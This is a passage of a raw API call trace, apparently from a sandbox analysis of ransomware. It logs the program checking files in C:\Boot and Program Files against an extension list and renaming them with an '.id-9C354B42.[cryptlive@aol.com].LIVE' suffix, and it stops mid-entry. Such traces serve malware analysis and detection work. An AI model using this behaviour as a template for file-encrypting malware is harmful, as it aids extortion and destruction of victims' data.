lpString2="LOG1") returned -1 [0127.205] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0127.205] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0127.205] lstrlenW (lpString=".doc") returned 4 [0127.205] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0127.205] lstrlenW (lpString=".docx") returned 5 [0127.205] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0127.205] lstrlenW (lpString=".pdf") returned 4 [0127.205] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0127.206] lstrlenW (lpString=".xls") returned 4 [0127.206] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0127.206] lstrlenW (lpString=".xlsx") returned 5 [0127.206] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0127.206] lstrlenW (lpString=".ppt") returned 4 [0127.206] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0127.206] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0127.206] lstrlenW (lpString=".zip") returned 4 [0127.206] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0127.206] lstrlenW (lpString=".rar") returned 4 [0127.206] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0127.206] lstrlenW (lpString=".bz2") returned 4 [0127.206] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0127.206] lstrlenW (lpString=".7z") returned 3 [0127.206] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0127.206] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0127.206] lstrlenW (lpString=".dbf") returned 4 [0127.206] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0127.206] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0127.206] lstrlenW (lpString=".1cd") returned 4 [0127.206] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0127.206] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0127.206] lstrlenW (lpString=".jpg") returned 4 [0127.206] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0127.206] lstrcmpiW (lpString1=".LOG2", lpString2=".LIVE") returned 1 [0127.206] lstrlenW (lpString="BCD.LOG2") returned 8 [0127.206] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0127.207] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=0) returned 1 [0127.207] CloseHandle (hObject=0x200) returned 1 [0127.207] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0127.207] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0127.207] lstrlenW (lpString=".doc") returned 4 [0127.207] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0127.207] lstrlenW (lpString=".docx") returned 5 [0127.207] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0127.207] lstrlenW (lpString=".pdf") returned 4 [0127.207] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0127.207] lstrlenW (lpString=".xls") returned 4 [0127.207] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0127.207] lstrlenW (lpString=".xlsx") returned 5 [0127.207] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0127.207] lstrlenW (lpString=".ppt") returned 4 [0127.207] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0127.207] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0127.207] lstrlenW (lpString=".zip") returned 4 [0127.207] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0127.207] lstrlenW (lpString=".rar") returned 4 [0127.207] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0127.207] lstrlenW (lpString=".bz2") returned 4 [0127.207] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0127.207] lstrlenW (lpString=".7z") returned 3 [0127.207] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0127.207] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0127.207] lstrlenW (lpString=".dbf") returned 4 [0127.207] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0127.208] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0127.208] lstrlenW (lpString=".1cd") returned 4 [0127.208] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0127.208] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0127.208] lstrlenW (lpString=".jpg") returned 4 [0127.208] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0127.208] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0127.208] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0127.208] lstrlenW (lpString=".doc") returned 4 [0127.208] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0127.208] lstrlenW (lpString=".docx") returned 5 [0127.208] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0127.208] lstrlenW (lpString=".pdf") returned 4 [0127.208] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0127.208] lstrlenW (lpString=".xls") returned 4 [0127.208] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0127.208] lstrlenW (lpString=".xlsx") returned 5 [0127.208] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0127.208] lstrlenW (lpString=".ppt") returned 4 [0127.208] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0127.208] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0127.208] lstrlenW (lpString=".zip") returned 4 [0127.208] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0127.208] lstrlenW (lpString=".rar") returned 4 [0127.208] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0127.208] lstrlenW (lpString=".bz2") returned 4 [0127.208] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0127.208] lstrlenW (lpString=".7z") returned 3 [0127.209] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0127.209] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0127.209] lstrlenW (lpString=".dbf") returned 4 [0127.209] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0127.209] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0127.209] lstrlenW (lpString=".1cd") returned 4 [0127.209] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0127.209] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0127.209] lstrlenW (lpString=".jpg") returned 4 [0127.209] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0127.209] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0127.209] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0127.209] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0127.209] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=89168) returned 1 [0127.209] CloseHandle (hObject=0x200) returned 1 [0127.209] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0127.209] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0127.209] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.210] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0127.210] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0127.210] lstrlenW (lpString=".doc") returned 4 [0127.210] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0127.210] lstrlenW (lpString=".docx") returned 5 [0127.210] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0127.210] lstrlenW (lpString=".pdf") returned 4 [0127.210] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0127.210] lstrlenW (lpString=".xls") returned 4 [0127.210] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0127.210] lstrlenW (lpString=".xlsx") returned 5 [0127.210] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0127.210] lstrlenW (lpString=".ppt") returned 4 [0127.210] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0127.210] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0127.210] lstrlenW (lpString=".zip") returned 4 [0127.210] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0127.210] lstrlenW (lpString=".rar") returned 4 [0127.210] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0127.210] lstrlenW (lpString=".bz2") returned 4 [0127.210] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0127.210] lstrlenW (lpString=".7z") returned 3 [0127.210] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0127.210] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0127.210] lstrlenW (lpString=".dbf") returned 4 [0127.210] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0127.210] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0127.210] lstrlenW (lpString=".1cd") returned 4 [0127.210] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0127.210] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0127.210] lstrlenW (lpString=".jpg") returned 4 [0127.211] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0127.211] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0127.211] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0127.211] lstrlenW (lpString=".doc") returned 4 [0127.211] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0127.211] lstrlenW (lpString=".docx") returned 5 [0127.211] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0127.211] lstrlenW (lpString=".pdf") returned 4 [0127.211] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0127.211] lstrlenW (lpString=".xls") returned 4 [0127.211] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0127.211] lstrlenW (lpString=".xlsx") returned 5 [0127.211] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0127.211] lstrlenW (lpString=".ppt") returned 4 [0127.211] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0127.211] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0127.211] lstrlenW (lpString=".zip") returned 4 [0127.211] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0127.211] lstrlenW (lpString=".rar") returned 4 [0127.211] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0127.211] lstrlenW (lpString=".bz2") returned 4 [0127.211] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0127.211] lstrlenW (lpString=".7z") returned 3 [0127.211] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0127.211] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0127.211] lstrlenW (lpString=".dbf") returned 4 [0127.211] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0127.211] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0127.211] lstrlenW (lpString=".1cd") returned 4 [0127.211] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0127.211] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0127.211] lstrlenW (lpString=".jpg") returned 4 [0127.211] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0127.212] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0127.212] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0127.212] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0127.212] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=87616) returned 1 [0127.212] CloseHandle (hObject=0x200) returned 1 [0127.212] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0127.212] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0127.212] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.212] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0127.212] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0127.212] lstrlenW (lpString=".doc") returned 4 [0127.212] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0127.212] lstrlenW (lpString=".docx") returned 5 [0127.212] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0127.212] lstrlenW (lpString=".pdf") returned 4 [0127.212] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0127.212] lstrlenW (lpString=".xls") returned 4 [0127.213] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0127.213] lstrlenW (lpString=".xlsx") returned 5 [0127.213] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0127.213] lstrlenW (lpString=".ppt") returned 4 [0127.213] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0127.213] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0127.213] lstrlenW (lpString=".zip") returned 4 [0127.213] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0127.213] lstrlenW (lpString=".rar") returned 4 [0127.213] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0127.213] lstrlenW (lpString=".bz2") returned 4 [0127.213] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0127.213] lstrlenW (lpString=".7z") returned 3 [0127.213] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0127.213] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0127.213] lstrlenW (lpString=".dbf") returned 4 [0127.213] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0127.213] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0127.213] lstrlenW (lpString=".1cd") returned 4 [0127.213] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0127.213] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0127.213] lstrlenW (lpString=".jpg") returned 4 [0127.213] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0127.213] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0127.213] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0127.213] lstrlenW (lpString=".doc") returned 4 [0127.213] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0127.213] lstrlenW (lpString=".docx") returned 5 [0127.213] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0127.213] lstrlenW (lpString=".pdf") returned 4 [0127.213] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0127.213] lstrlenW (lpString=".xls") returned 4 [0127.213] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0127.213] lstrlenW (lpString=".xlsx") returned 5 [0127.214] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0127.214] lstrlenW (lpString=".ppt") returned 4 [0127.214] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0127.214] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0127.214] lstrlenW (lpString=".zip") returned 4 [0127.214] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0127.214] lstrlenW (lpString=".rar") returned 4 [0127.214] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0127.214] lstrlenW (lpString=".bz2") returned 4 [0127.214] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0127.214] lstrlenW (lpString=".7z") returned 3 [0127.214] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0127.214] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0127.214] lstrlenW (lpString=".dbf") returned 4 [0127.214] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0127.214] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0127.214] lstrlenW (lpString=".1cd") returned 4 [0127.214] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0127.214] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0127.214] lstrlenW (lpString=".jpg") returned 4 [0127.214] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0127.214] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0127.214] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0127.214] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0127.215] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=91712) returned 1 [0127.215] CloseHandle (hObject=0x200) returned 1 [0127.215] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0127.215] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0127.215] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.215] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0127.215] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0127.215] lstrlenW (lpString=".doc") returned 4 [0127.215] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0127.215] lstrlenW (lpString=".docx") returned 5 [0127.215] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0127.215] lstrlenW (lpString=".pdf") returned 4 [0127.215] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0127.215] lstrlenW (lpString=".xls") returned 4 [0127.215] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0127.215] lstrlenW (lpString=".xlsx") returned 5 [0127.215] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0127.215] lstrlenW (lpString=".ppt") returned 4 [0127.215] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0127.215] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0127.215] lstrlenW (lpString=".zip") returned 4 [0127.215] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0127.215] lstrlenW (lpString=".rar") returned 4 [0127.215] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0127.215] lstrlenW (lpString=".bz2") returned 4 [0127.215] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0127.215] lstrlenW (lpString=".7z") returned 3 [0127.215] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0127.216] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0127.216] lstrlenW (lpString=".dbf") returned 4 [0127.216] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0127.216] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0127.216] lstrlenW (lpString=".1cd") returned 4 [0127.216] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0127.216] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0127.216] lstrlenW (lpString=".jpg") returned 4 [0127.216] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0127.216] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0127.216] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0127.216] lstrlenW (lpString=".doc") returned 4 [0127.216] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0127.216] lstrlenW (lpString=".docx") returned 5 [0127.216] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0127.216] lstrlenW (lpString=".pdf") returned 4 [0127.216] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0127.216] lstrlenW (lpString=".xls") returned 4 [0127.216] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0127.216] lstrlenW (lpString=".xlsx") returned 5 [0127.216] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0127.216] lstrlenW (lpString=".ppt") returned 4 [0127.216] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0127.216] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0127.216] lstrlenW (lpString=".zip") returned 4 [0127.216] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0127.216] lstrlenW (lpString=".rar") returned 4 [0127.216] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0127.216] lstrlenW (lpString=".bz2") returned 4 [0127.216] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0127.216] lstrlenW (lpString=".7z") returned 3 [0127.216] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0127.216] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0127.216] lstrlenW (lpString=".dbf") returned 4 [0127.216] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0127.217] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0127.217] lstrlenW (lpString=".1cd") returned 4 [0127.217] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0127.217] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0127.217] lstrlenW (lpString=".jpg") returned 4 [0127.217] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0127.217] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0127.217] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0127.217] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0127.217] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=94800) returned 1 [0127.217] CloseHandle (hObject=0x200) returned 1 [0127.217] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0127.217] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0127.218] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.218] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0127.218] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0127.218] lstrlenW (lpString=".doc") returned 4 [0127.218] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0127.218] lstrlenW (lpString=".docx") returned 5 [0127.218] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0127.218] lstrlenW (lpString=".pdf") returned 4 [0127.218] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0127.218] lstrlenW (lpString=".xls") returned 4 [0127.218] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0127.218] lstrlenW (lpString=".xlsx") returned 5 [0127.218] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0127.218] lstrlenW (lpString=".ppt") returned 4 [0127.218] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0127.218] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0127.218] lstrlenW (lpString=".zip") returned 4 [0127.218] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0127.218] lstrlenW (lpString=".rar") returned 4 [0127.218] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0127.218] lstrlenW (lpString=".bz2") returned 4 [0127.218] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0127.218] lstrlenW (lpString=".7z") returned 3 [0127.218] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0127.220] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0127.465] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0128.180] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2560) returned 1 [0128.180] CloseHandle (hObject=0x308) returned 1 [0128.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui")) returned 0x20 [0128.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common 